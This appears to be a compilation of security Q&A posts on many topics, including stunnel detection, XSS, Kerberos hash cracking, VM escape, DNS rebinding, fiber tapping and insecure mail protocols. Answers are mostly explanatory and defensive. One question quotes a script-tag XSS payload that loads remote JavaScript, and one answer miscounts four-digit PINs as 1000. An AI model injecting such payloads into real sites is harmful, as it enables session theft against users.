Are there any feasible ways to block the stunnel utility at the network level? The stunnel utility written by Michał Trojnara allows, if I understand correctly, to "wrap" non-SSL protocols (such as ssh) in an SSL connection.

For example, imagine that all network ports on a network are blocked except the ports 80 and 443 for HTTP and HTTPS traffic respectively. Deep packet inspection is also used to ensure that both the ports are only used for HTTP(S) and nothing else, so you can't just run an SSH server on port 443 and expect it to be able to connect through this firewall.

Now, stunnel can be used in this case by running an stunnel listener on port 443 of the server (bound to internal port 22) and using the stunnel client to connect to port 443 of the server, in fact connecting to its SSH daemon. The firewall has no idea that this happens because

The connection is encrypted and integrity-checked by design, so the firewall does not know what data is being exchanged - HTTP or not.
Because it is an SSL connection and is running over 443, the server cannot make the distinction between an HTTPS server and say, ssh.

My question is - what would be a way to actually detect the usage of stunnel and block it? Let's assume that methods of analysis such as looking at patterns of data (hmm, a lot of data exchange is unusual over an HTTPS connection, so this SSL tunnel must be used for something else) are unavailable. We also cannot install software or certs onto user's devices.

Is there really any practical way to stop this, considering that keeping HTTPS working is crucial?

Since you exclude SSL interception (i.e. no certs can be installed) and also exclude any kind of traffic pattern analysis there is not much left. What could be tried is analyzing the TLS handshake itself:

TLS stacks and also applications using TLS often leave a usable fingerprint in the ClientHello, i.e. which protocol version, which ciphers are offered in which order, which extensions are used and which order etc. Nothing new and lots of information can be found about this. Of course, a client could in theory replicate another clients ClientHello perfectly to hide itself.
Similar passive analysis could be done for the server side. But the variety of server configurations which are reflected in the TLS stack is much larger than on the client side, so this is probably not as effective as analyzing the ClientHello.

To make it clear: this is just heuristics. It can cause false positives and it can fail to detect stunnel instances. This is especially true in complex networks with a variety of different clients and only few time to manually analyze if a specific uncommon fingerprint should be allowed in general, to a specific target or should be blocked.


Pre Installed OpenVAS , light way Linux Is there any Pre installed light way OpenVAS Linux distributions Or any light way Linux witch Openvas Tested on it and work properly on that Linux distribution ?

I have used Back Track (UBUNTU Version) , it is not light way Linux with all that services and software and 4 Gig size.
I seen Openvas VM , it is about 4 Gig and i do not want to use this amount of hard disk space .

Kali Linux, the succesor to Backtrack offers a mini version of the distribution that is only 400MB. Alternatively, just build the package on any lightweight linux distributions like Arch Linux.

Do note that I have encountered many issues with configuring OpenVAS in the past, to the points where I simply gave up. I recommend Nessus or Nexpose instead if being closed source isn't an issue for you. Both products offer a "free" edition that might be suitable for you.


How does window.w3ssss hack occur Recently a .Net MVC 2 application on our server was infected with a virus / hack, it added some Javascript to the index.aspx pages of the site.

While we have cleaned it up, I have not been able to find any information on how the initial infection occurs. If anyone has any info on how this happens (e.g. ftp exploit, some kind of code injection, etc.) please let me know so a code review can take place, if necessary.

I do not have a name for the virus, but here are the first few lines of the inserted JavaScript to help identify it.

Running the code through a URL decoder, you can see that it is a simple Javascript and not a specific 'virus'.

What you are seeing is not the actions or the result of the initial exploitation. You cannot determine the attack vector from the results. They got in through 'some means' and wrote to files on your file system. That means a code review might not reveal anything. That also means your solution might not be found in your code.

How did they get in? Maybe code vulnerability, SQLi, ssh brute force, FTP, server OS vulnerability, service vulnerability, 3rd party uploaded code, infection on your machine through attachment or browser vulnerability, aliens, physical access, perhaps you have multiple personalities and your 'alters' didn't tell you they rewrote your code. HOW they got in is the last problem you have right now.

Your first problem right now is that someone is in control of your server. Copy the logs, shutdown, reinstall, patch, change passwords, set up additional monitoring, and THEN do code review to look for vulnerabilities.


How do I prevent copying of my PDF files? One time while I was printing my documents at a copy center, I saw they dragged-and-dropped my PDFs from my flash drive to their desktop.

How do I protect my files without using password? Is there a way to make a file open once and after that encrypt it?

As far as I know there is no feature like that in Adobe Reader. But even when there were such a feature, it couldn't be effective.

PDF is an open format, so they could just use another PDF-capable program to view it which doesn't support this feature
They could create a copy of the file before opening it. Adobe Reader couldn't know about that second copy, so it wouldn't be able to encrypt it too.
They could make the file write-protected which means that it can't be encrypted after opening it
They could log the generated print-job in the printer spool of the operating system
They could use a custom printer driver which outputs each printed document to a file
The printer itself could cache the print-job (likely it does by default - professional printers often come with quite large hard drives)

Bottom line: When you want to print a sensitive document, either find a copyshop you trust or print it yourself.


Buffer Overflow shell question If a custom library is affected by a buffer overflow and it is linked against an executable running as root. If an attacker gains a remote reverse shell, it will run under the user of the linked executable?

A library that links against an executable will share all attributes of the process, including UID. For example, a vulnerable OpenSSL library linking against an executable whose process is running as www-data will, if exploited, give access to that user. If the same exact library is linked against an executable whose process is running as root, then exploitation will give access to that user.


Is there such a thing as a non-expiring SSL certificate? Is there such a thing as a non-expiring SSL certificate?  Our scenario is that we develop and sell embedded devices (think "internet of things").  These devices have little web servers running on them that allow for certain administrative functions (like a Cisco home router allows admin actions).  We would like to have good security on these little web servers i.e. not pass clear text passwords.  The most straightforward approach is to use SSL to pass the password in an encrypted SSL session.  However, these little web servers are not under our control once we sell them to our customers.  How do we handle expiring SSL certificates in these devices?  Upgrading SSL certs on systems not under our control wouldn't be easy. Is there a better to provide a safe-login experience for this type of device?  If the "internet of things" really takes off, I have to believe this is going to become a common issue.

No, and there are several reasons for it:

A certificate contains not only information about the owner, but it contains its public key. The matching private key is only known to the owner of the certificate, and using public key cryptography one could verify, that the endpoint of the SSL connection is really the owner (or at least the one who has the private key). The certificate itself is signed by a certificate agency trusted by the browser (this is all simplified). But, the cryptographic strength of all this stuff depends on the size of the keys and the algorithms used. Increased size makes everything slower, less size makes everything less secure. And because computers get faster and crypto experts only better and finding new ways to crack an algorithm the cryptographic protection of the certificate gets weaker with time. Therefore each certificate needs to expire before the protection gets to weak.
A certificate might get compromised, e.g. some bad guy or agency might get the private key and thus identify itself as the owner or decrypt all traffic. In this case the certificate gets revoked and the revocation info are made public accessable. If the certificate would never expire these information would need to be kept forever and the storage needed and the time to check a certificate for revocation would grow. That's way cheaper end-user certificates have a shorter expiration time then more expensive certificates, because cheaply minded end-users probably don't protect their private key as well, so it's good that their revocations can be thrown away after the expiration date.


I found an RSA private key on my ransomware-infected device. Can I use it to decrypt the files? I have ransomware on my laptop. I ran Spyhunter and deleted as much as I could. I found an RSA in the Windows registry with regedit. Then, as I was checking for unknown files, I found a .android file which I opened using notepad. adbkey opened to reveal ---begin private key and ended with ---end private key. Lots of numbers, letters, slashes, etc. Did I stumble upon the decryption key? And if so, how do I apply it to decrypt my files?

Probably not. Your question is unclear (also because of the bad spelling):

What is this "rsa" you found in the registry?
I assume that by ".android" and "adbkey" you mean the file %USERPROFILE%\.android\adbkey.

It sounds like you stumbled upon a file created by adb (Android Debug Bridge, used to control devices in developer mode). This is the key that adb uses to identify itself to connected Android devices. On your Android device, you get a prompt whether to trust the computer, and you can store it for next time. To prove, next time, that it is the same computer, the computer has a key which it uses for authentication.

The "lots of numbers, letters and slashes" is usually base64 encoding, by the way. It often (but not always) has equals-signs at the end.

Sorry I cannot help you further, but hopefully that at least answers your question.


RBAC0 RBAC1 RBAC2 RBAC3 -- What do they mean? I am familiar with the concept of role-based access control but have heard the terms RBAC0 etc. being thrown around. What do these really mean? I found this quote on a NIST website:

  In 1996, Sandhu, Coyne, Feinstein, and Youman introduced a framework
  for RBAC models that incorporated the RBAC features described above in
  a modular arrangement. RBAC0 was defined as the base model, defined
  through users, roles, and permissions. RBAC1 includes RBAC0 but
  incorporates hierarchies as a partial order relationship between
  roles. RBAC2 also incorporates RBAC0, but adds constraints. RBAC1 and
  RBAC2 are independent of each other, in that a system may implement
  one without the other. RBAC3 is a fully-featured RBAC model,
  incorporating RBAC0, RBAC1, and RBAC2. RBAC3 is essentially equivalent
  to the 1992 Ferraiolo and Kuhn model with the exception that RBAC3
  allows a partial order hierarchy while the Ferraiolo-Kuhn model
  defines the hierarchy as a rooted tree. In object-oriented terms, the
  1996 SCFY model can be thought of as incorporating multiple
  inheritance while Ferraiolo-Kuhn uses single inheritance.

But these definitions are a bit confusing and sound close to technobabble.

What really is the significance of these levels? Do they hold value in the industry, or is it just CISSP babble? Is it common for systems to only achieve certain RBAC levels?

These are 'levels' for the NIST RBAC Model, as described in: The NIST Model for Role-Based Access Control: Towards a Unified Standard.(pdf)

They respectively refer to:

Flat RBAC
Hierarchical RBAC
Constrained RBAC
Symmetric RBAC

Flat RBAC means just the base RBAC model. The NIST Model requires that the roles assigned to a user can be determined, as well as users assigned to a specific role (called user-role review).

Hierarchical RBAC means that the roles are organised into a hierarchical structure (DAG or Tree), where 'higher' roles inherit all permissions from connected 'lower' roles. Hierarchical RBAC is further subdivided in General- and Restricted Hierarchical RBAC.

Constrained RBAC add the enforcement of separation of duties (SoD) to roles. SoD in the NIST RBAC Model can be either static or dynamic.

Symmetric RBAC adds a requirement for permission-role review, similar to the user-role review as described for Flat RBAC.

These 'levels' are of interest to the industry as points of reference. They make comparing implementations easier and it provides a good baseline if you want to proof that your implementation provides the safety/security, that is promised by the theoretical model.

In practice however, many access-control implementations call themselves Role-Based, but do not adhere to the (NIST) RBAC model (at all). The ones that do implement the (NIST) RBAC model often implement Flat and Symmetric, but skip the Hierarchical and/or the SoD Constraints, because they are (a lot) harder to implement.


How serious are XSS attacks A website I visit allows this kind of attack, to be implemented with GET in the URL

<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

Along with many others on this page: http://ha.ckers.org/xss.html

The site requires an account (usually paid) to access that page, but still.

How serious of a concern is this? And what kind of damage could be done to the website?

I understand I'm giving you little information, but a general idea would be nice. Thanks!

(Website is operated on a large database with confidential data along with user accounts, addresses, emails and etc [no credit cards]).

Anything you can do with javascript as the site owner can be done with an XSS attack. That includes modifying the DOM. You could replace an entire page and thus have control of all data into and out of the website. Relatively simple scripts can read cookies and forward session information. That would be like Firesheep at a distance -- impersonating a user by grabbing their access credentials.

Further, this may introduce visitors to your site any sort of attack that affects browsers.


Password system, possible solutions I am trying to solve a problem with a password system. I need to figure out the probability of the password being guessed.

If I have an 8-character alphanumeric password.

it cannot be all #'s, meaning it must have a letter in it
it cannot have character's in sequence (ex. abcdefgh or a1234567)
it can not have the word "johnbook"

Generally the probability comes down to the size of the range.  So for, say, a 4 character password, the password space the number of available characters raised to the power of the number of places in the password.

For example, a bank pin - 4 digits, 10 characters (0-9) - 1000 possible passwords, making the probability 1/10000.

Now your problem is harder, since your range is not all available passwords, you have removed some of the highly guessable passwords.  What you're going to have to do is figure out how many potential passwords are eliminated by each rule, and make sure you account for rules overlapping... for example 12345678 is both a sequence AND all characters. Then take the total password space, subtract the passwords that are forbidden by each rule, making sure not to count a given type of password twice.

I'm not sure what you mean by "it cannot have the word "johnbook" " perhaps I'm being way too literal - obviously "johnbook" is just one password.  Do you mean it can't have that particular word, or it can't have any known common name or short word combination?  For example, is "bethdesk" also forbidden?  What is the size of the dictionary being checked and all are all word combinations long and short forbidden?  You should be able to use combinatorics to figure this out, but you need the algorithm or rules of password checking to know how much this limits the size of the password space.

Also, virtually any word combination is also going to be an "all character" sequence - so have you basically eliminated that, or is the system checking for obvious substitutions - like "passw0rd"?


Legality of sniffing own traffic between mobile app and server Recently I found a bug on a mobile app which claims to protect their users' privacy, however after connecting my phone with burp and installing a certificate I noticed that this app was sending a users' full first and last name + some other personally identifying information (other users' profiles, not just my own), however this isn't shown to the user directly.

I wanted to contact the vendor of the app, however after viewing their legal page I have my doubts as they state the following:

  "reverse engineering of 'the software' is strictly prohibited and may result in legal action"

I've excluded the name of the app/company in question for obvious reasons

Currently I'm conflicted between responsibly disclosing this bug to them so they can fix this issue or simply not doing it at all since I'm not entirely sure if sniffing my own traffic between the app and server could be considered 'reverse engineering' and I simply don't want to get sued.

Does anyone know the legality of doing this? Is it considered 'reverse engineering'?

First, a definition.

  Reverse engineering, also called back engineering, is the processes of extracting knowledge or design information from anything man-made and reproducing it or reproducing anything based on the extracted information.
  The process often involves disassembling something (a mechanical device, electronic component, computer program, or biological, chemical, or organic matter) and analyzing its components and workings in detail. Source Wikipedia Reverse Engineering

So. is extracting data from a connection extracting knowledge or design information.
  The answer Yes it is.
However to be reverse engineering we need more . we also need to 'reproduce it or reproducing anything based on the extracted information.'.
And are we doing that. the answer is No. we are only checking data we receive over the line, for verification purposes. (we verify that the application is doing what it is supposed to do, not (re-)build an alternative implementation.

So. unless the legal definition in your area is different from the wikipedia definition there should be no grounds to claim reverse engineering.

Also you are not reverse engineering the software. You are analyzing the connection it uses. (even if you consider just the act reverse engineering, there is no intellectual property hat you can breach by analyzing the data on the wire. since it outside anyone's control.)

Since your just noting what you can see and not manipulating the connection in any other way you are not doing anything with the software they use. (in fact you are doing nothing more than any corporate firewall can do).

To be sure consult a lawyer, but on the face of it you should be fine.


Is it safe to use this embedded ftp server? We are using a software suite for automation of FTP traffic. It uses the Apache Mina FtServer component as an embedded FTP server (for FTPS and SFTP).

The use of this library has been flagged as a security concern. The reasoning given was the age of the library (main development was done in 2008), and the low number of changes (no real changes since 2011). See the changes summary here.

The testers did indicate that there a no publicly known security issues for this library.

I'm not sure how to evaluate this risk. I would think that a stable open source library with no known issues would be a good thing.

Is this a real risk, is the library an issue?
Is the age of the library in itself a concern?
Is the maintenance state a concern?
Does the fact that it is maintained by Apache a pro?
Are there security concerns for this library?

I'll try to answer the questions with the following explanation.

Describing the lack of development only is not a risk. But that is matter of opinion as well. But, the dependencies of your library (for example Java, and others) might be. This means that for example the library might be (known) bug free, and stable indeed. But the underlying Java version might become the problem, introducing known vulnerabilities.

In order to asses that, you should audit the library including dependencies to say something useful about it.

Risk assessment

Also you should take in consideration the likelihood. Is this only accessible behind a Virtual Private Network (VPN) or behind a SSH tunnel with Private Keys in place, or both? Or is it open to the whole world? Then also consider the possible impact. Are there two users on the platform or twenty thousand? Can they open some media files only? Or highly confidential and classified information?


Is there a way to prove some content came from a specific website? I guess we can all agree that a screenshot of a website proves nothing; one can edit the HTML as much as one likes, take a screenshot and show a website displaying false information.

As far as I know, the way HTTPS works is it uses asymmetric cryptography in order to exchange symmetric keys, for performance reasons. This means that such symmetric key is signed by the host of the website and sent to the user, but the host isn't signing every single piece of content it serves.

The question then is, is there any way one can prove some content came from a website?

The question then is, is there any way one can prove some content came
  from a website?

Not using SSL. As you mentioned, the actual content is encrypted using a shared symmetric key. Therefore either you or the other party could have created the cypher-text.

A trustworthy 3rd party such as Google cache or archive.org should be sufficient in most contexts, as mentioned in the comments.

There are plenty of cryptographic techniques which can be used for this purpose, but in this context you'd need the site to cooperate by signing the actual content using their private key (which is contrary to how SSL works).


How does virtualisation (IaaS) protect from CPU microcode updates and firmware changes? Is it safe to assume that it's impossible for CPU Microcode updates and firmware updates to be initiated from a guest VM?

What software or hardware technologies protect my guest OS from altering or editing these or other firmware that may exist in the system?

Yes, I think it is safe to assume that a VM will prevent guests from updating the CPU microcode of the physical CPU.

Updating the microcode on an Intel CPU involves executing the WRMSR instruction, with MSR 0x79.  This is a privileged instruction, and can only be executed when the CPU is in privileged mode (CPL=0).

The virtual machine monitor (VMM) should trap on all privileged instructions, including this one, and take appropriate steps to emulate it.  While I haven't checked the code of any VMM, I would expect a reasonable VMM might refuse the update, or might ignore it, but no reasonable VMM should allow a guest to update the microcode of the physical CPU that the host is running on.  It would be pretty surprising for a VMM to allow a guest to request a microcode update and to actually execute that request on the host CPU.

Updates to firmware of other hardware peripherals is a trickier question.  The answer will depend upon how the VMM manages access to that hardware device.

If the hardware device is emulated or virtualized, then a reasonable VMM should prevent a guest from loading firmware updates into the device (in a similar way: loading a firmware update requires I/O to interact with the device, and a VMM should restrict I/O with the device).

However, if the VMM provides the guest with unrestricted direct access to the hardware device (i.e., direct assignment of the device to that guest), then I suspect that the guest might be able to load firmware updates, if the device permits it.

The virtualization strategy for hardware devices will be dependent on the specific VM you use; some VMs use emulation or virtualization, but some may also use direct assignment in some cases.  I am not an expert on this subject and cannot speak authoritatively about it.  If you are concerned, choose a VM that provides full virtualization or emulation of all devices, and does not use direct assignment to give a guest direct unrestricted access to any hardware peripheral.

References:

See the Intel® 64 and IA-32 Architectures Developer's Manual: Vol. 3A , Section 9.11.6, for a description of the procedure for loading CPU microcode updates, and Section 9.11 for CPUmicrocode updates generally.


CVV info for over the phone or by mail transactions I am a newspaper circulation manager and a subscriber just informed us that we aren't allowed to ask for the CVV over the phone or by mail subscriptions. What is the correct procedure?

The subscriber was wrong. From PCI DSS 3.2.1: "The purpose of the card validation code is to protect "card-not-present" transactions—Internet or mail order/telephone order (MO/TO) transactions—where the consumer and the card are not present." You aren't allowed to store the CVV number, but you are expected to enter it into a virtual terminal when processing phone payments, for example.


Why secure encrypted data consistency by strong hashing? Consider the SSH protocol: the SSH packet is like [data, SHA1(data)]. The packet is entirely encrypted by a block cipher. The question is, why do we need a strong hash to protect the packet consistency? IMO, simple XOR of all of the blocks would be as secure as SHA1 checksum. The data and checksum itself are encrypted, and any small change in the encrypted data would change at least one entire block (unpredictably by a possible attacker). Due to encryption mode (CBC) and the fact, the hash is stored at the end of the packet, I suppose even the hash would change unpredictably. So, simple XOR would be same as good as SHA1 and using XOR instead of SHA1 would save some CPU, so why not?

Lets see an example. For simplicity, consider the block of size 4hexa.

And for even more simplicity, consider the open text: 0000 0000 0000
Since all the blocks are same, XOR would be 0000.

So, the packet is: 0000 0000 0000 0000, where the last "0000" is the xor-checksum

Encrypted, it would be: a840 ff70 0030 bbb5

The attacker is unable to decrypt the message, but he want to change it anyhow prevent me from recognise it. How would he do it?

If he change one bit in... hmm... 3rd block:

a840 ff70 0031 bbb5

but what happen when I try to decrypt?

0000 0000 a722 52e3

FAILED!

The only thing I found he can do is, he can drop a block just in case BLOCK_n is equal to BLOCK_0 xor ... xor BLOCK_(n-1) for the each block. If I add the packet length into the header of the packet, then I don't see any security hole there.

The decision to use SHA1 for message authentication is part of the formal transport design specification (RFC 4253). Furthermore, SHA2 is now recommended as an update to the protocol (RFC6668).

According to this reference the use not only ensures data integrity but also prevents replay attacks.  SSH was originally more like what you are suggesting using just CRC checks. The feature you are questioning was added to specifically address weakness in that simpler design.


Do DES keys have to be random? In stream cipher (namely the OTP ) . The pad which the plain text is Xored with has to be random to achieve perfect secrecy , or psudorandom to ensure semantic security

Dose this apply to DES or block ciphers in general ?

Dose the randomness of the DES key effects the security ?

Well, if you are doing plain old single DES, it doesn't matter -- 56-bit DES keys can be easily brute forced.  The EFF DES cracker could break a 56-bit DES key in under a day way back in 1999.

Generally, yes its best to have a totally random key for symmetric encryption (block ciphers) as there will be no shortcuts when brute-forcing the key.

In practice, using a key generated by a key-derivation-function that constructs a pseudo-random key from a strong user-chosen password may be perfectly strong, provided you use a strong password.  However, the entropy of your pseudo-random derived key really will rest in how complicated the password is.  If your password is found in a common list of passwords or has a low inherent complexity, a skilled attacker can quickly recover your key.

So if you want 100-bits of security, you should choose a password with about 100 bits of entropy -- e.g., 17 random characters from A-Z,a-z,0-9; or 15 random characters from all printable ASCII, or about 8 random words chosen a 5000 word dictionary.  And say with AES-128 with a 100-bit password this will weaken the security from 2128 to 2100.


cracking krb5 passwords (des3-hmac-sha1 and des-cbc-crc ) I'm trying to audit kerberos passwords. The available formats are des3-hmac-sha1 and des-cbc-crc but I cannot find a possibility/a tool to crack them. For other hash-types I used John the Ripper, but it seems to fail in this case. How should I proceed?

John the Ripper has community-supplied patches that appear to help with this.  For example, see:

A discussion on the John mail list
The bleeding-jumbo branch of John the Ripper's Github repo, including README-krb5-18-23 and the Kerberos modules in src.


Do hashes repeat themselves? I am not sure how hashing works exactly, all I know it is impossible to reverse it.
All hash types have X amount of characters in them while the phrases and made up words can have an infinite quantity hence infinitely more times than the character counts in a hash.
So do hashes repeat themselves?

Yes, it's possible because of the limited length, but it has a very little chance.
Read a bit about hash collision, for example: http://preshing.com/20110504/hash-collision-probabilities/


Breaking out of the virtualization layer Problem

So I set up a virtual backtrack machine using VMware Workstation - I'm trying to launch an attack against the host OS (Ubuntu Linux) from the virtualized host (backtrack), but I do not understand what questions I need to research to find information regarding the methodology for this.

If anyone could point me in the direction of a resource, blog, book, or simply explain a high-level methodology for how one would approach breaking out of a virtual machine, I would greatly appreciate it.

Thanks,
Andrew

PS: Like, how does access control and privilege work across a VM? Is it like a process broker sandbox?...

A virtual machine is an isolation layer. The code which runs into the VM (the "guest") is not supposed to be able to escape the VM and reach the host, except through the access facilities which have been explicitly enabled by the VM (e.g. networking).

Therefore, to break out of the VM, you need to find and exploit a security hole in the VM implementation -- VMWare Workstation in your case. Methodology would then be: search the Web for a description of known vulnerabilities. For instance, a simple Google search links to this.

The VM emulates a virtual machine: the guest kernel and the host operating system live in completely distinct worlds. Or, more accurately, the VM is a single process from the point of view of the host; the guest runs on hardware which does not exist, and maintains its own forest of internal process. Nowadays, VM managers are hypervisors; they use dedicated CPU opcodes to "remain hidden" from the guest: whatever the guest tries to do, it does so through some code which runs on the CPU, and the hypervisor intercepts the opcodes which could "see through the veil". This movie is a big metaphor on the hypervisor / virtual machine relationship, and it explains the situation quite well -- if you get past the heavy weapon handling and the spunky females in tight clothes, that is.


How does AWS authentication work? AWS APIs use access key ID and secret access key for authenticating the API calls. How exactly does it work and how is it different from SSH ?

The AWS API requires you to sign every HTTP request. The signature gives you two properties: authenticity and integrity.

It authenticates you because a valid signature can only be produced by someone who has the keyID/secret pair. It gives you integrity since the the request is first canonicalized (transformed to a standard form) and then signed using HMAC. Any modification to the message will result in the original signature being invalidated.

AWS signatures provide a defense in depth mechanism to TLS's integrity.

Some key differences follow. SSH is using asymmetric crypto as well while the AWS API is using a symmetric only. SSH will use key exchange and cipher negotiation while AWS does no such thing apart from using TLS. AWS authentication is "bolted on" HTTP while SSH is a complete protocol.

About how it works. This is all in the AWS docs, but here is a short summary. You construct your request, then you calculate a canonicalized form and finally use your key/secret to sign it. You add the signature to your original request and send it to AWS. The server will process your request: calculate the canonicalized form, fetch your secret from their storage, calculate the signature and compare it to the one you sent. If they match you are almost good to go.

Another thing they do is check the time and make sure this request is not being replayed. When you calculate the canonicalized form you also need to add the current date to it. AWS will check this date to make sure it is within an acceptable window. This limits replay to the given window.


Why are top-level wildcard bindings unsafe? Microsoft has the following to say about configuring asp.net core with http.sys:

  Top-level wildcard bindings (http://*:80/ and http://+:80) should not
  be used. Top-level wildcard bindings create app security
  vulnerabilities. This applies to both strong and weak wildcards. Use
  explicit host names or IP addresses rather than wildcards. Subdomain
  wildcard binding (for example, *.mysub.com) isn't a security risk if
  you control the entire parent domain (as opposed to *.com, which is
  vulnerable). For more information, see RFC 7230: Section 5.4: Host.

HTTP.sys web server implementation in ASP.NET Core.

I've read the referenced section of the RFC but the only thing I see is that a client could be tricked if a proxy server in between was compromised.

It's unsafe because of DNS rebinding attacks, a technique which allows an attacker to bypass the Same-origin policy:

The attacker registers a domain (such as attacker.com) and delegates it to a DNS server that is under the attacker's control. The server is configured to respond with a very short time to live (TTL) record, preventing the DNS response from being cached. When the victim browses to the malicious domain, the attacker's DNS server first responds with the IP address of a server hosting the malicious client-side code. For instance, they could point the victim's browser to a website that contains malicious JavaScript or Flash scripts that are intended to execute on the victim's computer.
The malicious client-side code makes additional accesses to the original domain name (such as attacker.com). These are permitted by the same-origin policy. However, when the victim's browser runs the script it makes a new DNS request for the domain, and the attacker replies with a new IP address. For instance, they could reply with an internal IP address or the IP address of a target somewhere else on the Internet.

While the browser won't send any cookie to your webserver (unless the victim logs in), it will still execute any JavaScript code controlled by the attacker, and will be able to load pages / submit forms, like any XSS / CSRF vulnerability.
Your webserver should only reply to requests intended for domains you control.


Does default ModSecurity protect enough against XSS? It's been a few years since I mucked around with modsecurity...

Will simply installing the package with the default rules provide enough validation to prevent any (okay, let's be honest - best we can hope for is "most") type of XSS? My assumption is no... and even if we consider only Type I - Reflected XSS.

What about the Core Rule Set? Is that XSS-proof enough?
If not, what kind of rules are missing, and what should I look to add/customize, maybe on a per-page basis? (uggh...)

Last part of the question, what about AJAX-heavy apps? How does ModSecurity, and in particular the CRS, handle AJAX requests without blocking them?
I assume that hoping that it actually manages to parse out the AJAX and validate each parameter seperately would be too much to hope for...

To clarify, fixing the code to remove all XSS, including input validation and especially contextual output encoding, is of course the best way to go, and really the only long-term solution.
However, I was looking for a temporary, "quick fix", to pop something in place to protect the app for now, while they go and fix the XSS in the code, and search for more...

You should review the XSS Street-Fight (with ModSecurity) Blackhat preso

It outlines the following ModSecurity mitigation strategies for XSS:

Input Validation (Whitelist/Blacklist Filtering)
Generic Attack Payload Detection
Identifying Improper Output Handling Flaws (Dynamic Taint Propagation)
Application Response Profiling (Monitoring the number of scripts/iFrames)
JavaScript Sandbox Injection (ModSecurity’s Content Injection Capabilities)


Cutting and sniffing fiberoptic cables - time before detection? Suppose you'd cut a fiberoptic cable with two razor sharp mirrors, reflecting the traffic out into your sniffing device and then back into the wire again. How fast would you need to get the traffic up and running again to not get detected? Also, I have no idea what tags to use. If someone would like to change them - please do so.

Depends on the protocol, but probably faster than you can blink your eyes. Especially in data transmission within a matter of milliseconds a different fiber will be selected.

Tapping fiber optic can be done by carefully bending the fiber just a bit sharper than it is supposed to, but won't work on monomode fibers which are commonly used over longer distances than a few 100 meters, because the loss of optic power. The real trick here is to dismantle the cladding without damaging the fiber.


Why should anti-virus software scan on a file read? I got a brand new PC today because I couldn't Bootcamp my Mac due to a shortage of disk space on its SSD. It had McAfee pre-installed on it, and, shortly afterward, I noticed a ton of performance overhead from McAfee, namely its Real-Time Scanning.

I'm a Computer Science major at a community college. From what I understand, programs can only get on a machine by:

Downloading them from the Internet
Being ran from the OS (they were pre-installed)
The user made it and saved it from the machine
A CD-ROM or equivalent media
A flash drive or other removable storage, which fits into CD-ROM or equiv.

McAfee's Real-Time Scanning scans files on read, from what its description blurb says. Why should it scan on read, and not when the files are written on the hard drive?

One other reason why I as is due to the fact that my aunt has Norton, and I've seen it provide insight on files as they were downloaded.

Why should it scan on read, and not when the files are written on the
  hard drive?

Because this will cover the situation when the A/V software is installed after files have been written to the computer.

Also, as new viruses are discovered, they may be an existing threat on the machine that has not yet been detected due to the signature only being available in the latest version of the updates.


Is there a risk connecting to POP3 or SMTP email server without secure connection? My ISP gives instructions how to connect to its POP3 and SMTP email servers:

  These settings will help you to set up your email program.

  email server: POP3
  POP server (incoming): pop.orangehome.co.uk
  POP incoming port: 110
  SMTP server (outgoing): smtp.orangehome.co.uk
  outgoing SMTP port: 25
  use secure connection (Secure Sockets Layer or SSL): no
  authentication: none

As I understand, these settings imply the connection won't be secured with SSL/TLS:

  IMAP uses port 143, but SSL/TLS encrypted IMAP uses port 993.
  POP uses port 110, but SSL/TLS encrypted POP uses port 995.
  SMTP uses port 25, but SSL/TLS encrypted SMTP uses port 465.

Is there a risk to sending and receiving emails via without a secure SSL/TLS connection? Should I be concerned? What could happen?

EE is a British ISP with about 1 million customers. Plusnet, another British ISP, also instructs users to connect insecurely to its IMAP and POP servers "SSL/TLS: No"

Is there a risk to sending and receiving emails via without a secure SSL/TLS connection?

The problem is equivalent to using your webmail via plain HTTP. A man-in-the-middle attacker could capture the emails you exchange with the server and sniff your login credentials as they are sent in plain text.

Such an attack is possible for someone in the same Wifi as you, your roommate, your employer or your ISP - it is particularly easy for everyone who processes the traffic on the way between you and the server, but it's usually not feasible for a remote attacker (like a friend who's attacking you from their home).

So, if you do it in your private home network and don't fear your ISP logging your data1, you're fine. In a public Wifi however, it's a serious risk - especially because email clients usually contact the server periodically in the background without your interaction. So, as opposed to using your webmail, you would not send your password just once in the beginning, but broadcast it every 15 minutes to check for updates.

(Also note that it's particularly easy for an attacker to automatically extract POP3/IMAP/SMTP credentials from the traffic as their transmission is part of the respective protocol. For a webmail login form, they would at least have to search through the HTTP traffic to find the request where the password is transmitted.)

1In your case, the ISP is the mail provider so they obviously already have access to that information.


What are the requirements for a random number generator to a be safe to use in cryptography? When I look at most RNG's (random number generators), I see a disclaimer that looks similar to this:

  Caution: Mersenne Twister is basically for Monte-Carlo simulations - it is not cryptographically secure "as is".

What are the requirements for a (pseudo-) RNG to be 'cryptographically secure'? What tests/logic is used to decide that a RNG is secure for this purpose or not?
What are the general differences between secure and non-secure RNGs? Are secure RNGs usually just far more complex/include larger seeds and more manipulation of data? Is it ever possible to make a non-secure RNG secure by adding a series results obtained from it or using a result as a seed to produce new results that are 'more random'?
What is the problem with using non-secure RNGs for cryptography? I have no doubt that the cryptography would be much easier to break, but how is this actually done? Does the cracker somehow recognize a pattern in the data that is characters of a certain RNG and use this to help 'remove' the randomness from the clear-text?

NOTE: Please leave a comment if you think this question should be broken up; I know the different parts are related, but if they are complex enough to merit more specific treatment I will gladly separate them across multiple posts. :D

I've written elsewhere about how we vet the security of a cryptographic primitive -- everything I wrote there applies equally to vetting the security of a cryptographically secure PRNG.

The difference between secure and non-secure PRNGs is that the secure ones are, well, secure.  You could start by reading up on the definition of security for a cryptographic-strength PRNG.  Starting with a non-secure PRNG and then trying to add extra complexity is not likely to be an effective way to end up with a secure PRNG.

The problem with using a non-cryptographic PRNG for cryptography is that you end up with with a system that is insecure.  See, e.g., the example of early implementations of SSL in Netscape Navigator, which turned out to be breakable because they used a non-cryptographic PRNG in a place where they needed a cryptographic-strength PRNG.

In the future, I suggest asking these questions on Crypto.SE, and splitting them up into multiple parts.  Or, better yet, take a look at a good cryptography textbook -- all of this should be covered there.


is it possible for a user to get the firebase auth token from a released app? Under the constraints that the user only has access to a release (signed) build of the android app and doesn't know the signing key. No rooted phone either. The token isn't sent through insecure channels (like http). User only uses default https certificates. The token is not exposed in any way through the user interface.

I am almost sure it is impossible (or at least very very hard), but I want to be sure asking you guys

If at any point you send data to a device the user physically possesses, they can extract it. (This is why DRM doesn't work.) If you want to start asking questions about "how hard" this is, the answer is that it should be super easy, and the degree to which it is not is the degree to which the device fails to meet the definition of a general-purpose computer. If you wouldn't do what you're doing in your app as part of an ordinary program intended to run on an ordinary computer, don't do it just because it's on a phone.

